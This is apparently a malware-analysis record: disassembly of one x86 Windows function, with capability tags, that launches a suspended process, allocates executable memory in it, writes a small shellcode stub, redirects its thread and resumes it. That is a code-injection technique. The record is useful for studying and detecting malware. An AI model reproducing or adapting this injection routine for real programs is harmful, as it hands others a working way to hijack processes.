Function at 0x402861
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Get common file path
Resume thread
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x550
push ebx
push esi
push edi
xor ebx, ebx
push 0x40
lea eax, [ebp - 0x68]
push ebx
push eax
mov dword [ebp - 0x6c], ebx
call sub.ntdll.dll_memset
xor eax, eax
mov dword [ebp - 0x20], ebx
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x103
stosd dword es:[edi], eax
lea eax, [ebp - 0x173]
push ebx
push eax
mov byte [ebp - 0x174], bl
call sub.ntdll.dll_memset
push 0x2c8
lea eax, [ebp - 0x440]
push ebx
push eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x444], ebx
call sub.ntdll.dll_memset
add esp, 0x24
mov esi, 0x104
push esi
push dword [ebp + 8]
lea eax, [ebp - 0x174]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
xor eax, eax
mov word [ebp - 0x3c], ax
lea eax, [ebp - 0x54c]
push eax
push esi
mov dword [ebp - 0x6c], 0x44
mov dword [ebp - 0x40], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x54c]
push eax
push ebx
push 0xc
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x174]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x402a3e
lea eax, [ebp - 0x444]
push eax
push dword [ebp - 0x1c]
mov dword [ebp - 0x444], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x402a3e
push 0x40
push 0x3000
push 8
push ebx
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
cmp edi, ebx
je 0x402a3e
push 0x10
pop eax
mov dword [ebp - 0xc], 0x1268ff6a
mov dword [ebp - 8], 0xc3785634
call sub.ntdll.dll__alloca_probe
mov esi, esp
cmp esi, ebx
je 0x402990
push 0x81
push 0xc
mov eax, esi
mov edx, 0x40a694
call fcn.00404340
push 8
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, ebx
je 0x4029af
push 0x8f
push 5
mov edx, 0x40a8f8
call fcn.00404340
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea ecx, [ebp + 8]
push ecx
push 8
lea ecx, [ebp - 0xc]
push ecx
mov dword [ebp - 9], eax
mov eax, dword [ebp - 0x20]
push edi
push eax
mov dword [ebp - 0x24], eax
call esi
test eax, eax
jne 0x402a05
cmp dword [ebp + 8], 8
je 0x402a05
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12b
jne 0x402a05
lea eax, [ebp + 8]
push eax
push 0xffffff08
lea eax, [ebp - 0xc]
push eax
push edi
push dword [ebp - 0x24]
call esi
push ebx
push ebx
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0x444]
push eax
push dword [ebp - 0x1c]
mov dword [ebp - 0x394], edi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x402a3e
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x402a3e
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x1c], ebx
je 0x402a5a
cmp dword [ebp - 0x10], ebx
jne 0x402a52
push ebx
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [ebp - 0x1c]
call fcn.00402796
cmp dword [ebp - 0x20], ebx
je 0x402a76
cmp dword [ebp - 0x10], ebx
jne 0x402a6e
push ebx
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x20]
call fcn.00402796
mov eax, dword [ebp - 0x10]
lea esp, [ebp - 0x55c]
pop edi
pop esi
pop ebx
leave
ret 4